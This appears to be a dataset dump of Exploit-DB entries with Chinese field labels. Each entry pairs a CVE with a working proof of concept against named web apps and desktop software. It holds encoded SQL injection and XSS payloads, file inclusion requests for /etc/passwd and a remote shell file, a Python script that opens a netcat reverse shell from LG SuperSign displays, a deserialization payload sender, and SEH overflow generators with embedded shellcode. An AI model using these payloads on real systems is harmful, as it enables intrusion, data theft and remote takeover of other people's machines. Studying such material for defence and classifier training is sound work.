QLWD/code_shield huggingface dataset:
标题: Joomla! Component Music Collection 3.0.3 - SQL Injection EDB-ID: 45465 CVE: 2018-17375 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-25 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Music Collection 3.0.3 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://joomlathat.com/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/music-collection/
# Version: 3.0.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17375
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php/music-collection/playlist-0-on-the-go?task=edit_playlist&id=[SQL]
# 
# 0%20%4f%52%20%28%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29
#  
# # # # URL: https://www.exploit-db.com/exploits/45465
标题: Super Cms Blog Pro 1.0 - SQL Injection EDB-ID: 45463 CVE: 2018-17391 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-25 漏洞利用脚本: # # # # #
# Exploit Title: Super Cms Blog Pro 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://coolscript.cf/
# Software Link: https://www.codegrape.com/item/super-cms-blog-pro/22250
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17391
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/authors_post.php?author=[SQL]&p_id=1
# 
# '++/*!11111UNION*/+/*!11111SELECT*/+0x31,0x32,/*!11111CONCAT_WS*/(0x203a20,VERSION()),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131--+-
#  
# # # # URL: https://www.exploit-db.com/exploits/45463
标题: Joomla! Component Raffle Factory 3.5.2 - SQL Injection EDB-ID: 45464 CVE: 2018-17379 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-25 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Raffle Factory 3.5.2 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/raffle-factory/
# Version: 3.5.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17379
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?task=showSearchResults&option=com_rafflefactory&filter_order_Dir=[SQL]&filter_order=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# # # # URL: https://www.exploit-db.com/exploits/45464
标题: Joomla! Component Penny Auction Factory 2.0.4 - SQL Injection EDB-ID: 45466 CVE: 2018-17378 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-25 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Penny Auction Factory 2.0.4 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/penny-auction-factory/
# Version: 2.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17378
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_pennyfactory&task=showSearchResults&filter_order_Dir[SQL]&filter_order=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# # # # URL: https://www.exploit-db.com/exploits/45466
标题: Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection EDB-ID: 45447 CVE: 2018-14592 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-24 漏洞利用脚本: # Exploit Title: Joomla! CW Article Attachments 1.0.6 - 'id' SQL Injection
# Date: 2018-09-20
# Exploit Author: Haboob Team
# Software Link: https://extensions.joomla.org/extension/cw-article-attachments/
# Version: below < 1.0.6
# CVE : CVE-2018-14592 
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14592

# 1. Description
# The CWJoomla CW Article Attachments PRO extension before 2.0.7 and CW Article Attachments 
# FREE extension before 1.0.6 for Joomla! allow SQL Injection within download.php.
 
# 2. Proof of Concept
 
http://IP-ADDRESS/plugins/content/cwattachments/cwattachments/helpers/download.php?id=INJECTION&sid=0123456789987654321 URL: https://www.exploit-db.com/exploits/45447
标题: Navigate CMS 2.8 - Cross-Site Scripting EDB-ID: 45445 CVE: 2018-17255 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-24 漏洞利用脚本: # Title: Navigate CMS 2.8 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-09-19
# Vendor: https://www.navigatecms.com/en/home
# Software: Navigate CMS 2.8
# CVE: CVE-2018-17255

# Technical Details & Description:
# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "Navigate CMS" web-application.
# The vulnerability is located in the 'fid' parameter of the`navigate.php` action GET method request.
  
# PoC
  
http://Target/navigate/navigate.php?fid=files"><marquee>RENZI</marquee> URL: https://www.exploit-db.com/exploits/45445
标题: MyBB Visual Editor 1.8.18 - Cross-Site Scripting EDB-ID: 45449 CVE: 2018-17128 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-24 漏洞利用脚本: # Title: MyBB Visual Editor 1.8.18 - Cross-Site Scripting
# Author: Numan OZDEMIR
# Vendor Homepage: mybb.com
# Software Link: https://mybb.com/download/
# Version: Up to v1.8.18. Fixed in v1.8.19.
# PoC Video: https://numanozdemir.com/mybb/xss.mp4
# CVE: CVE-2018-17128

# Description:
# Attacker can run JavaScript codes in victim user's browser while victim is replying a post.
# 'videotype' section causes this.

# How to Reproduce:

1)- Enter to thread posting page. (newthread.php, enter title and content.)
2)- Click "insert a video" command. Select any source and insert any URL.
3)- Edit the video source with your payload.
Or, directly add this code:

[video=PAYLOAD]http://victim.com[/video]
Example:
[video=PA<svg/onload=alert('xss')>YLOAD]http://victim.com[/video]

4)- Post the thread.

# While victim user replying your post, his browser will run JavaScript.
# Vulnerable pages: editpost.php, newreply.php, private.php
# and all Visual Editor embedded pages. URL: https://www.exploit-db.com/exploits/45449
标题: LG SuperSign EZ CMS 2.5 - Remote Code Execution EDB-ID: 45448 CVE: 2018-17173 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-09-24 漏洞利用脚本: # Exploit Title: LG SuperSign EZ CMS 2.5 - Remote Code Execution
# Date: 2018-09-18
# Exploit Author: Alejandro Fanjul
# Vendor Homepage:https://www.lg.com
# Software Link: https://www.lg.com/ar/software-lg-supersign
# Version: SuperSignEZ 1.3
# Tested on: LG WebOS 3.10
# CVE : CVE-2018-17173

# 1. Description
# LG SuperSignEZ CMS, that many LG SuperSign TVs have built in, is prone
# to remote code execution due to an improper parameter handling

# 2. Proof of concept
# Code to exploit the vulnerability

import requests
from argparse import ArgumentParser

parser = ArgumentParser(description="SuperSign RCE")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-l", "--lhost", dest="lhost",
                        help="lhost")
parser.add_argument("-p", "--lport", dest="lport",
                        help="lport")

args = parser.parse_args()

#LG SupersignEZ always run in port 9080, so in target you must type: #LG_SuperSign_IP:9080
#Example
#supersign-exploit.py -t LG_SuperSign_IP:9080 -l attacker_ip -p 4444
#In the attacker machine wait for the shell with nc -lvp 4444
#enjoy your shell

s = requests.get('[http://'+](http://%27+/) str(args.target).replace('\n', '') +'/qsr_server/device/getThumbnail?sourceUri=\'%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20'+str(args.lhost)+'%20'+str(args.lport)+'%20%3E%2Ftmp%2Ff;\'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150') URL: https://www.exploit-db.com/exploits/45448
标题: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion EDB-ID: 45438 CVE: 2018-16283 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-19 漏洞利用脚本: # Exploit Title: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/wechat-broadcast/
# CVE: CVE-2018-16283

# Description
# This bug was found in the file: /wechat-broadcast/wechat/Image.php
# echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : '');
# The parameter "url" it is not sanitized allowing include local or remote files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol 
# to interact with the application.

# PoC
# The following URL have been confirmed that is vulnerable to local and remote file inclusion.

GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd

# Remote File Inclusion POC:

GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=http://malicious.url/shell.txt URL: https://www.exploit-db.com/exploits/45438
标题: WordPress Plugin Localize My Post 1.0 - Local File Inclusion EDB-ID: 45439 CVE: 2018-16299 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-19 漏洞利用脚本: # Exploit Title: WordPress Plugin Localize My Post 1.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/localize-my-post/
# CVE: 2018-16299

# DESCRIPTION
# This bug was found in the file: /localize-my-post/ajax/include.php
# include($_REQUEST['file']);
# The parameter "file" it is not sanitized allowing include local files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application.

# Local File Inclusion POC:

GET /wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/45439
标题: Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting EDB-ID: 45437 CVE: 2018-16736 类型: WEBAPPS 平台: LINUX 发布日期: 2018-09-19 漏洞利用脚本: # Exploit Title: Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting
# Date: 2018-09-09
# Exploit Author: Fahimeh Rezaei
# Vendor Homepage: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Software Link: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Version: rcfilters plugin v2.1.6
# Tested on: Roundcube version 1.0.5
# CVE : CVE-2018-16736
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16736
# https://nvd.nist.gov/vuln/detail/CVE-2018-16736
# https://github.com/eagle00789/RC_Filters/issues/19

# Details:
# In the rcfilters plugin 2.1.6 for Roundcube, XSS exists via the 
# _whatfilter and _messages parameters (in the Filters section of the settings).

# PoC

POST /rc/?_task=settings&_action=plugin.filters-save HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Referer: https://Target/rc/?_action=plugin.filters&_task=settings
Cookie: roundcube_sessid=; roundcube_sessauth=
Connection: close
Upgrade-Insecure-Requests: 1

_token=09bcde247d252364ea55c217c7654a1f&_whatfilter=from]<script>alert('XSS-1')</script>&_searchstring=whatever&_casesensitive=1&_folders=INBOX&_messages=all])<script>alert('XSS-2')</script> URL: https://www.exploit-db.com/exploits/45437
标题: LG SuperSign EZ CMS 2.5 - Local File Inclusion EDB-ID: 45440 CVE: 2018-16288 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-09-19 漏洞利用脚本: # Exploit Title: LG SuperSign EZ CMS 2.5 - Local File Inclusion
# Date: 2018-09-13
# Exploit Author: Alejandro Fanjul
# Vendor Homepage: https://www.lg.com/ar/software-lg-supersign
# Version: SuperSign EZ (CMS)
# Tested on: Web OS 4.0
# CVE : CVE-2018-16288

# More info: http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html
# Any user can read files from the TV, without authentication due to an existing LFI in the following path:

# http://SuperSign_IP:9080/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd

# PoC

import requests
import re
from argparse import ArgumentParser

parser = ArgumentParser(description="SuperSign Reboot")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-p", "--path", dest="filepath",
                        help="path to the file you want to read")

args = parser.parse_args()
path = args.filepath

s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path))
print s.text URL: https://www.exploit-db.com/exploits/45440
标题: CA Release Automation NiMi 6.5 - Remote Command Execution EDB-ID: 45425 CVE: 2018-15691 类型: REMOTE 平台: JAVA 发布日期: 2018-09-17 漏洞利用脚本: # Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
# Date: 2016-06-23
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec
# Vendor Homepage: http://www.ca.com/
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
# CVE: CVE-2018-15691
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
# Info: Proof of Concept exploits NiMi service if security is turned off.

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) < 4:
    sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
    exit(1)
 
host = sys.argv[1]
port = sys.argv[2]
file = sys.argv[3]

# check if payload does not exceed specified value
payloadObj = open(file,'rb').read()
if len(payloadObj) > 5729:
    print 'Payload must be less than 5730 bytes. Try another one.'
    exit(1)

# open socket to nimi port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting to node.'
sock.connect((host, int(port)))

# say hello to nimi
sock.recv(256)
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message

# get Node ID
data = sock.recv(256)
name = data[5] + data[6:6+ord(data[5])]
if len(sys.argv) == 5:
    name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]

# check if security is enabled
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
check = sock.recv(256)
if check == "":
    print 'Security is enabled. Sorry.'
    exit(1)

# send payload
print 'Sending payload.'
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
payload = struct.pack(">I", len(stage)) + stage

sock.sendall(payload)
sock.close() URL: https://www.exploit-db.com/exploits/45425
标题: Joomla! Component JCK Editor 6.4.4 - 'parent' SQL Injection EDB-ID: 45423 CVE: 2018-17254 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-17 漏洞利用脚本: # Title: Joomla Component JCK Editor 6.4.4 - 'parent' SQL Injection
# Date: 2018-09-14
# Exploit Author: Hamza Megahed
# Vendor Homepage:https://www.joomla.org/
# Download: https://arkextensions.com/products/jck-editor
# Version: 6.4.4
# Tested on: Ubuntu, FireFox,
# CVE: N/A

# Parameter = parent
# Payload = " UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL -- aa
# Poc:

Test = [HOST]/[PATH]/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=%22%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa URL: https://www.exploit-db.com/exploits/45423
标题: Free MP3 CD Ripper 2.6 - '.wma' Local Buffer Overflow (SEH) EDB-ID: 45412 CVE: 2019-9767 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2018-09-14 漏洞利用脚本: # Exploit Title: Free MP3 CD Ripper 2.6 - '.wma' Buffer Overflow (SEH)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-13
# Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
# Tested on OS: Windows 7 32bit
# Tested Version: 2.6
# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name "exploit.wma". 
# Start the program and click on "Convert". 
# Find the file "exploit.wma" and click "Open" 
# You will see a calculator poped up.
  
#!/usr/bin/python  
    
buffer = "A" * 4116
 
NSEH = "\xeb\x06\x90\x90"
 
SEH = "\x21\x21\xe4\x66"
nops = "\x90" * 8
#badchar \x00\x0a\x0d\x2f
#msfvenom calculator
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (4440 - len(NSEH) - len(SEH) - len(buffer) - len(nops) - len(buf) )
 
payload = buffer + NSEH + SEH + nops + buf + pad
try:
    f=open("exploit.wma","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created" URL: https://www.exploit-db.com/exploits/45412
标题: Microsoft Edge Chakra - 'PathTypeHandlerBase::SetAttributesHelper' Type Confusion EDB-ID: 45431 CVE: 2018-8384 类型: DOS 平台: WINDOWS 发布日期: 2018-09-18 漏洞利用脚本: /*
Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
    currentType = predTypeHandler->GetPredecessorType();
    if (currentType == nullptr)
    {
#ifdef PROFILE_TYPES
        instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
        // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
        // For now, just punt this case.
        return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
    }
    predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
    ObjectSlotAttributes * attributes = this->GetAttributeArray();
    if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
    {
        this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
        // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
        // as it behaves differently from a normal set property.
        PropertyValueInfo::SetNoCache(info, instance);
        newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
        newTypeHandler->SetSlotUnchecked(instance, index, value);
        return true;
    }
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
*/

let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234
};

o.a;  // Type confusion URL: https://www.exploit-db.com/exploits/45431
标题: Free MP3 CD Ripper 2.6 - '.mp3' Buffer Overflow (SEH) EDB-ID: 45403 CVE: 2019-9766 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2018-09-13 漏洞利用脚本: # Exploit Title: Free MP3 CD Ripper 2.6 - '.mp3' Buffer Overflow (SEH)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-13
# Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
# Tested on OS: Windows 7 32bit
# Tested Version: 2.6
# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name "exploit.mp3". 
# Start the program and click on "Convert". 
# Find the file "exploit.mp3" and click "Open" 
# You will see a calculator poped up.
 
#!/usr/bin/python  
   
buffer = "A" * 4116

NSEH = "\xeb\x06\x90\x90"

SEH = "\x21\x21\xe4\x66"
nops = "\x90" * 8
#badchar \x00\x0a\x0d\x2f
#msfvenom calculator
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (4440 - len(NSEH) - len(SEH) - len(buffer) - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf + pad
try:
    f=open("exploit.mp3","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created" URL: https://www.exploit-db.com/exploits/45403